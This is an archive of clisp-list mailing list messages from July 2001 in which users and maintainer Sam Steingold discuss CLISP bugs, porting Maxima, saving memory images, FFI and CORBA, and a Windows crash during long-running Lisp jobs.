<20010704214018.A360@localhost.localdomain> <20010709191246.A165@localhost.localdomain> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010709191246.A165@localhost.localdomain> Date: 09 Jul 2001 14:18:36 -0400 Message-ID: Lines: 34 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010709191246.A165@localhost.localdomain> > * On the subject of "Re: [clisp-list] completion breaks in linux package" > * Sent on Mon, 9 Jul 2001 19:12:46 +0200 > * Honorable Peter Wood writes: > > On Mon, Jul 09, 2001 at 10:59:23AM -0400, Sam Steingold wrote: > > > * Honorable Peter Wood writes: > > > > > > (linux:get_ => > > > > > > *** - SYSTEM::FUNCTION-SIGNATURE: # > > "get_current_dir_name" #x0805007C> is not a function. > > > > user[6]: > (disassemble 'sys::function-signature) > > does your disassembly mention ffi::foreign-function? > > No. It has system::foreign-function where your output said > ffi:foreign-function. this bug was introduced during the repackaging and fixed on 2001-06-17. there are quite a few files involved, so I am reluctant to create a separate patch. you can replace "FOREIGN-FUNCTION" with "FFI::FOREIGN-FUNCTION" in the definition of FUNCTION-SIGNATURE in compiler.lisp to fix your particular problem, or you can try the CVS version. Thanks for reporting the bug. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on "A pint of sweat will save a gallon of blood." -- George S. Patton From bruce253@163.net Mon Jul 09 17:36:41 2001 Received: from [211.101.185.130] (helo=clubsvr) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15JlW3-0004uk-00; Mon, 09 Jul 2001 17:36:40 -0700 Received: from [211.101.185.130] by clubsvr (ArGoSoft Mail Server Plus, Version 1.4 (1.4.0.5)); Tue, 10 Jul 2001 08:40:04 Message-ID: <3B4A4DFA.4030700@163.net> Date: Tue, 10 Jul 2001 08:36:10 +0800 From: Bruce User-Agent: Mozilla/5.0 (X11; U; Linux 2.2.18pre21 i686; en-US; rv:0.9.1) Gecko/20010612 X-Accept-Language: zh-cn, en MIME-Version: 1.0 To: clisp-list CC: clisp-devel-list Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Subject: [clisp-list] A minor bug when at break Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This bug is very easy to reproduce. [2]> (defun my-div (x y) (/ x y)) MY-DIV [11]> (my-div 5 0) *** - division by 0 1. Break [12]> Backtrace-1 *** - EVAL: variable BACKTRACE-1 has no value 2. Break [13]> Backtrace-1 [Now normal backtrace] It also works fine if type "help" before "Backtrace-1". This does not occur in 2.25 and 2000-03-06. I'm using clisp 2.26 on Debian/GNU woody and have the first four patches applied. Best! -- I'll burn my books. -- Christopher Marlowe From lizardo@urbi.com.br Mon Jul 09 21:01:38 2001 Received: from xena.urbi.com.br ([200.185.120.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15JoiO-0000RW-00 for ; Mon, 09 Jul 2001 21:01:37 -0700 Received: from [200.185.121.179] (alo55.urbi.com.br [200.185.121.179]) by xena.urbi.com.br (8.9.3/8.9.3) with ESMTP id BAA16668; Tue, 10 Jul 2001 01:01:37 -0300 Message-Id: <200107100401.BAA16668@xena.urbi.com.br> X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410) Date: Tue, 10 Jul 2001 00:59:29 -0300 From: "Lizardo H. C. M. Nunes" To: clisp-list@lists.sourceforge.net CC: maxima@www.ma.utexas.edu, wfs@mail.ma.utexas.edu, WhiteG@mar.dfo-mpo.gc.ca Mime-version: 1.0 X-Priority: 3 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: [clisp-list] Maxima on CLISP under Darwin Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I'm running clisp 2.25.1 on Darwin 1.3.7 (Mac OS 10.0.4). Now I'm trying to port Maxima using CLISP, since GCL have been being hard to build. I know some of you already did it. I'm a newbie and need some directions here. Would somebody please could be kind enough to give me some instructions, kind of a recipe, or even a starting point? So far I did cd src make clisp-compile CLISP=clisp I got a couple of warning and no errors, but Maxima isn't working. That's what I get retrying "make": ; Loading file macsys.fas ... ;; Loading of file macsys.fas is finished. ;; Loading file mload.fas ... ;; Loading of file mload.fas is finished. ;; Loading file suprv1.fas ... *** - READ from #: there is no character bit with name "NO" Bye. I'd relly appreciate any tip. Thanks a lot, Lizardo. -- From Randy.Justice@cnet.navy.mil Tue Jul 10 07:04:57 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jy7m-0001uG-00 for ; Tue, 10 Jul 2001 07:04:26 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA01343 for ; Tue, 10 Jul 2001 09:03:48 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <3QD3N7ST>; Tue, 10 Jul 2001 09:03:59 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Tue, 10 Jul 2001 09:03:52 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C10949.267C56B0" Subject: [clisp-list] Capture System Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C10949.267C56B0 Content-Type: text/plain; charset="iso-8859-1" Does Lisp contain a method to "save" the environment/processes? Which would imply a method restore the environment/processes.. Thank You Randy ------_=_NextPart_001_01C10949.267C56B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Capture System

        Does Lisp = contain a method to "save" the environment/processes?  = Which would imply a method
      restore the = environment/processes..


        Thank = You

        Randy
 

------_=_NextPart_001_01C10949.267C56B0-- From sds@gnu.org Tue Jul 10 07:41:29 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jyhc-00066Y-00 for ; Tue, 10 Jul 2001 07:41:29 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA10391; Tue, 10 Jul 2001 10:41:22 -0400 (EDT) X-Envelope-To: To: "Justice, Randy -CONT\(DYN\)" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Capture System References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 Date: 10 Jul 2001 10:39:59 -0400 Message-ID: Lines: 15 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message > * On the subject of "[clisp-list] Capture System" > * Sent on Tue, 10 Jul 2001 09:03:52 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > Does Lisp contain a method to "save" the environment/processes? > Which would imply a method restore the environment/processes.. RTFM: http://clisp.cons.org/impnotes.html#image -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I don't like cats! -- Come on, you just don't know how to cook them! From Randy.Justice@cnet.navy.mil Tue Jul 10 07:48:44 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jyo9-0006vE-00 for ; Tue, 10 Jul 2001 07:48:13 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id JAA04252; Tue, 10 Jul 2001 09:47:30 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <3QD3N7XT>; Tue, 10 Jul 2001 09:47:41 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: "'sds@gnu.org'" Cc: clisp-list@lists.sourceforge.net Subject: RE: [clisp-list] Capture System Date: Tue, 10 Jul 2001 09:47:33 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C1094F.40CE8FF0" Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C1094F.40CE8FF0 Content-Type: text/plain; charset="iso-8859-1" Thank You Randy -----Original Message----- From: Sam Steingold [mailto:sds@gnu.org] Sent: Tuesday, July 10, 2001 9:40 AM To: Justice, Randy -CONT(DYN) Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Capture System > * In message > * On the subject of "[clisp-list] Capture System" > * Sent on Tue, 10 Jul 2001 09:03:52 -0500 > * Honorable "Justice, Randy -CONT\(DYN\)" writes: > > Does Lisp contain a method to "save" the environment/processes? > Which would imply a method restore the environment/processes.. RTFM: http://clisp.cons.org/impnotes.html#image -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on I don't like cats! -- Come on, you just don't know how to cook them! ------_=_NextPart_001_01C1094F.40CE8FF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable RE: [clisp-list] Capture System

Thank You

Randy


-----Original Message-----
From: Sam Steingold [mailto:sds@gnu.org]
Sent: Tuesday, July 10, 2001 9:40 AM
To: Justice, Randy -CONT(DYN)
Cc: clisp-list@lists.sourceforge.net
Subject: Re: [clisp-list] Capture System


> * In message = <B4CA1F5D8D23D411ADC7009027E791BF013ED3EB@pens0394.cnet.navy.Mil><= /FONT>
> * On the subject of "[clisp-list] Capture = System"
> * Sent on Tue, 10 Jul 2001 09:03:52 = -0500
> * Honorable "Justice, Randy = -CONT\(DYN\)" <Randy.Justice@cnet.navy.mil> writes:
>
>       Does Lisp = contain a method to "save" the environment/processes?
> Which would imply a method restore the = environment/processes..

RTFM: http://clisp.cons.org/impnotes.html#image

--
Sam Steingold (http://www.podval.org/~sds)
Support Israel's right to defend herself! <http://www.i-charity.com/go/israel>
Read what the Arab leaders say to their people on = <http://www.memri.org/>
I don't like cats! -- Come on, you just don't know = how to cook them!

------_=_NextPart_001_01C1094F.40CE8FF0-- From virgilinux@yahoo.com Tue Jul 10 08:50:43 2001 Received: from web14702.mail.yahoo.com ([216.136.224.119]) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15Jzmd-00066H-00 for ; Tue, 10 Jul 2001 08:50:43 -0700 Message-ID: <20010710155038.10729.qmail@web14702.mail.yahoo.com> Received: from [128.238.35.105] by web14702.mail.yahoo.com via HTTP; Tue, 10 Jul 2001 08:50:38 PDT Date: Tue, 10 Jul 2001 08:50:38 -0700 (PDT) From: Virgil To: maxima@www.ma.utexas.edu, clisp-list@lists.sourceforge.net In-Reply-To: <200107100401.BAA16668@xena.urbi.com.br> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: [clisp-list] Maxima with PPC Linux(Re: Maxima on CLISP under Darwin) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: --- "Lizardo H. C. M. Nunes" wrote: > Hi, > > I'm running clisp 2.25.1 on Darwin 1.3.7 (Mac OS 10.0.4). > > Now I'm trying to port Maxima using CLISP, since GCL have been being > hard to > build. I know some of you already did it. I'm a newbie and need some > directions here. > > Would somebody please could be kind enough to give me some > instructions, > kind of a recipe, or even a starting point? I am interested in the related project of running Maxima on a PowerPC Macintosh operating under LinuxPPC 2000Q4. I already have installed CLISP and it appears to be running well. I would prefer to find a ppp.rpm file of Maxima 5.6, but it appears that no one has made it available on the web. In any case, if anyone has successfully installed Maxima 5.6 on LinuxPPC (or another distribution for the PPC chip), and is willing to provide advise or guidelines, please let me know. Please, reply to my e-mail. I'll send a summary of my experience to the list later on. Thanks in advance. __Virgil __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From emarsden@laas.fr Wed Jul 11 05:30:02 2001 Received: from panoramix.valinux.com ([198.186.202.147] helo=mail2.valinux.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 15KJ5t-0004uw-00 for ; Wed, 11 Jul 2001 05:27:53 -0700 Received: from laas.laas.fr ([140.93.0.15]) by mail2.valinux.com with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KJ4P-0004Ua-00 for ; Wed, 11 Jul 2001 05:26:22 -0700 Received: from dukas.laas.fr (dukas [140.93.21.58]) by laas.laas.fr (8.11.3/8.11.3) with ESMTP id f6BBpAD05136; Wed, 11 Jul 2001 13:51:10 +0200 (MET DST) Received: (from emarsden@localhost) by dukas.laas.fr (8.11.1/8.11.1) id f6BBp9H23568; Wed, 11 Jul 2001 13:51:09 +0200 (MET DST) To: "V.Krishna Kumar" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] FFI and CORBA References: <3B4663AB@operamail.com> From: Eric Marsden Organization: LAAS-CNRS http://www.laas.fr/ X-Eric-Conspiracy: there is no conspiracy X-Attribution: ecm X-URL: http://www.chez.com/emarsden/ Date: 11 Jul 2001 13:51:09 +0200 In-Reply-To: <3B4663AB@operamail.com> ("V.Krishna Kumar"'s message of "Tue, 3 Jul 2001 00:06:49 -0400") Message-ID: Lines: 21 User-Agent: Gnus/5.090004 (Oort Gnus v0.04) Emacs/20.6 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: >>>>> "vkk" == V Krishna Kumar writes: vkk> Instead of writing an ORB in LISP, is it possible to interface with a C based vkk> ORB (such as ORBit) using the FFI ? The advantages are vkk> i. You get a lot of free code (ORB itself) vkk> ii. Colocated servers & clients can be optimised to use function calls vkk> rather than sockets. I don't think this is a good idea. An ORB needs to be tightly integrated with the system's I/O and threading subsystems, which will be difficult via a FFI. For your point (i) see CLORB, a free CL ORB, and for (ii) I don't see any reason why this would not be possible in a CL implementation; it should be much easier than fiddling with object keys via the FFI. -- Eric Marsden From sds@gnu.org Wed Jul 11 11:06:51 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KONv-0007Zj-00 for ; Wed, 11 Jul 2001 11:06:51 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA28761; Wed, 11 Jul 2001 14:06:47 -0400 (EDT) X-Envelope-To: To: Christophe Rhodes Cc: Subject: Re: [clisp-list] Bug? in make-pathname References: <20010709162848.B2632@cam.ac.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010709162848.B2632@cam.ac.uk> Date: 11 Jul 2001 14:05:27 -0400 Message-ID: Lines: 19 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010709162848.B2632@cam.ac.uk> > * On the subject of "Re: [clisp-list] Bug? in make-pathname" > * Sent on Mon, 9 Jul 2001 16:28:48 +0100 > * Honorable Christophe Rhodes writes: > > I hope that this is clear (at least as clear as the HS on > make-pathname and merge-pathnames, which I think we can agree aren't > terribly...). But basically I think that the :directory component > shouldn't be changed by being copied from a physical to a logical > pathname. okay, I think I fixed this. what a mess! -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on A professor is someone who talks in someone else's sleep. From sds@gnu.org Wed Jul 11 11:14:45 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KOVZ-0008Ua-00 for ; Wed, 11 Jul 2001 11:14:45 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id OAA00809; Wed, 11 Jul 2001 14:14:40 -0400 (EDT) X-Envelope-To: To: Bruce Cc: clisp-list Subject: Re: [clisp-list] A minor bug when at break References: <3B4A4DFA.4030700@163.net> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3B4A4DFA.4030700@163.net> Date: 11 Jul 2001 14:13:19 -0400 Message-ID: Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <3B4A4DFA.4030700@163.net> > * On the subject of "[clisp-list] A minor bug when at break" > * Sent on Tue, 10 Jul 2001 08:36:10 +0800 > * Honorable Bruce writes: > > This bug is very easy to reproduce. I cannot reproduce it. are you sure you do not have why whitespace around commands? -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on Between grand theft and a legal fee, there only stands a law degree. From stig@ii.uib.no Wed Jul 11 17:34:27 2001 Received: from eik.ii.uib.no ([129.177.16.3] helo=ii.uib.no) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KUQz-00089v-00 for ; Wed, 11 Jul 2001 17:34:25 -0700 Received: from apal-192.ii.uib.no (apal.ii.uib.no) [129.177.192.27] by ii.uib.no with esmtp (Exim 3.03) id 15KUQv-0003Bk-00 for ; Thu, 12 Jul 2001 02:34:21 +0200 Received: (from stig@localhost) by apal.ii.uib.no (8.9.3+Sun/8.9.3) id CAA11979 for clisp-list@lists.sourceforge.net; Thu, 12 Jul 2001 02:34:20 +0200 (MEST) Date: Thu, 12 Jul 2001 02:34:20 +0200 From: Stig E Sandoe To: clisp-list@lists.sourceforge.net Message-ID: <20010712023420.A11913@apal.ii.uib.no> Mail-Followup-To: Stig E Sandoe , clisp-list@lists.sourceforge.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Subject: [clisp-list] 2.27? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: hi, noting that many nice updates have been made in CVS lately over the 2.26.1 release. Any plans for a 2.27 release to keep the good pace in releases this spring? A slightly unrelated question though, how easy would it be to add support for clisp reading a system-wide config-file (e.g /etc/clisprc) on startup (like ~/.clisprc is read)? I have currently used a nasty hack to make this work on Debian, but such functionality can be useful for others as well I presume. -- ------------------------------------------------------------------ Stig Erik Sandoe stig@ii.uib.no http://www.ii.uib.no/~stig/ From lizardo@urbi.com.br Wed Jul 11 21:30:56 2001 Received: from xena.urbi.com.br ([200.185.120.2]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KY7q-0004HA-00 for ; Wed, 11 Jul 2001 21:30:54 -0700 Received: from [200.185.121.86] (foo22.urbi.com.br [200.185.121.86]) by xena.urbi.com.br (8.9.3/8.9.3) with ESMTP id BAA23493 for ; Thu, 12 Jul 2001 01:30:49 -0300 Message-Id: <200107120430.BAA23493@xena.urbi.com.br> X-Mailer: Microsoft Outlook Express Macintosh Edition - 4.5 (0410) Date: Thu, 12 Jul 2001 01:28:42 -0300 From: "Lizardo H. C. M. Nunes" To: clisp-list@lists.sourceforge.net Mime-version: 1.0 X-Priority: 3 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit Subject: [clisp-list] Maxima using CLISP Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Hi, I'm trying to port "Maxima 5.6" using "clisp 2.25.1". After editing the file "../src/ suprv1.lisp" I simply typed: #cd src #make clisp-compile CLISP=clisp and it compiles without errors... I want to know what I should do next. If somebody already used CLISP to port Maxima and wants to give me a hand, I'd really appreciate. Thanks, Lizardo. -- From sds@gnu.org Thu Jul 12 07:21:35 2001 Received: from user1.channel1.com ([199.1.13.9]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KhLT-0005vq-00 for ; Thu, 12 Jul 2001 07:21:35 -0700 Received: from xchange.com (gopher.exapps.com [12.25.11.194]) by user1.channel1.com (8.9.3/8.9.3) with ESMTP id KAA19769; Thu, 12 Jul 2001 10:21:29 -0400 (EDT) X-Envelope-To: To: Stig E Sandoe Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] 2.27? References: <20010712023420.A11913@apal.ii.uib.no> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20010712023420.A11913@apal.ii.uib.no> Date: 12 Jul 2001 10:20:31 -0400 Message-ID: Lines: 42 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.0.104 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: > * In message <20010712023420.A11913@apal.ii.uib.no> > * On the subject of "[clisp-list] 2.27?" > * Sent on Thu, 12 Jul 2001 02:34:20 +0200 > * Honorable Stig E Sandoe writes: > > noting that many nice updates have been made in CVS lately over the > 2.26.1 release. Any plans for a 2.27 release to keep the good pace in > releases this spring? yes - wonna help? There are lots of things you could do. > A slightly unrelated question though, how easy would it be to add > support for clisp reading a system-wide config-file (e.g /etc/clisprc) > on startup (like ~/.clisprc is read)? I have currently used a nasty > hack to make this work on Debian, but such functionality can be useful > for others as well I presume. Use saveinitmem instead. The reason for /etc/profile and /etc/cshrc is that they do not have this capability. Put whatever you like into /etc/clisprc, then do # clisp -i /etc/clisprc -x '(saveinitmem)' # mv lispinit.mem /usr/local/lib/clisp/base/ # clisp -K full -i /etc/clisprc -x '(saveinitmem)' # mv lispinit.mem /usr/local/lib/clisp/full/ Better yet, put whatever you like into config.lisp before doing make. Implementing your proposal would require adding --no-site-init command line option (or making -norc ignore /etc/clisprc too), it would also require --site-init configure option. BTW, where it /etc/clisprc on win32? atari? acorn? I am not saying that this will not or cannot be done, but this is less trivial and not as necessary as you appear to assume. -- Sam Steingold (http://www.podval.org/~sds) Support Israel's right to defend herself! Read what the Arab leaders say to their people on My other CAR is a CDR. From Randy.Justice@cnet.navy.mil Thu Jul 12 08:54:05 2001 Received: from grlu5117.cnet.navy.mil ([160.127.129.23]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 15KimU-0006E7-00 for ; Thu, 12 Jul 2001 08:53:34 -0700 Received: from penx68322m1.cnet.navy.mil (pens0394.cnet.navy.Mil [160.125.210.190]) by grlu5117.cnet.navy.mil (8.9.3 (PHNE_18546)/8.9.3) with ESMTP id KAA27843 for ; Thu, 12 Jul 2001 10:52:55 -0500 (CDT) Received: by pens0394.cnet.navy.Mil with Internet Mail Service (5.5.2653.19) id <3QD33BRZ>; Thu, 12 Jul 2001 10:53:11 -0500 Message-ID: From: "Justice, Randy -CONT(DYN)" To: clisp-list@lists.sourceforge.net Date: Thu, 12 Jul 2001 10:53:10 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C10AEA.C0280DC0" Subject: [clisp-list] Lisp program Crash... Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.5 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C10AEA.C0280DC0 Content-Type: text/plain; charset="iso-8859-1" Please excuse me, this question is not a total LISP question... I recently purchased a dual 1.2 GHZ AMD Server. I purchased the box to one main reason - to execute long running LISP programs. The lisp programs needs to run for weeks at a time. I installed three products on the box: Office 2000 Pro, WinZip 8, and CLISP. The general symptom and dies with the following message in the event viewer: Event Type: Information Event Source: Save Dump Event Category: None Event ID: 1001 Date: 7/11/2001 Time: 8:52:16 PM User: N/A Computer: MPI-0WSES7UYOXH Description: The computer has rebooted from a bugcheck. The bugcheck was: 0x00000050 (0xec01373d, 0x00000000, 0xec01373d, 0x00000002). Microsoft Windows 2000 [v15.2195]. A dump was saved in: C:\WINNT\Minidump\Mini071101-03.dmp. I have seen the program execute for a few minutes to 10-12 hours before dying. The machine has given me once a "blue-screen-of-death" with the following message: IRQL_NOT_LESS_OR_EQUAL. One might try to jump to the conclusion that it is the LISP program. I have the SAME LISP program running on 4 different boxs. 1. 333 MHZ K6-2 Machine - Wind 2000 SP2, 2. 800 MHZ AMD - Wind 2000 SP2, 3. 266 MHZ P2 - Nt 4.0 SP 6A, 4. 1.3 GHZ P4 - Wind 2000. These boxs runs for Days/weeks at a time.. The new box has yet to last 24 hours. If it helps - the application is CPU bound -- All i/o is accomplished though redirection. The current box is Wind 2000 SP2. I'm using clisp-win32-2.26. What do you think? I'm in a tight spot, I have a machine in it's current state is a paper weight! Randy Justice ------_=_NextPart_001_01C10AEA.C0280DC0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Lisp program Crash...

Please excuse me, this question is not a total LISP = question...

I recently purchased a dual 1.2 GHZ AMD = Server.

I purchased the box to one main reason - to execute = long running
LISP programs. The lisp programs needs to run for = weeks at a time.

I installed three products on the box: Office 2000 = Pro, WinZip 8, and CLISP.

The general symptom and dies with the following = message in
the event viewer:
Event Type:     = Information
Event Source:   Save Dump
Event Category: None
Event ID:       = 1001
Date:   =         7/11/2001
Time:   =         8:52:16 PM
User:   =         N/A
Computer:       = MPI-0WSES7UYOXH
Description:
The computer has rebooted from a bugcheck.  The = bugcheck was: 0x00000050 (0xec01373d, 0x00000000, 0xec01373d, = 0x00000002). Microsoft Windows 2000 [v15.2195]. A dump was saved in: = C:\WINNT\Minidump\Mini071101-03.dmp.

I have seen the program execute for a few minutes to = 10-12 hours before
dying.

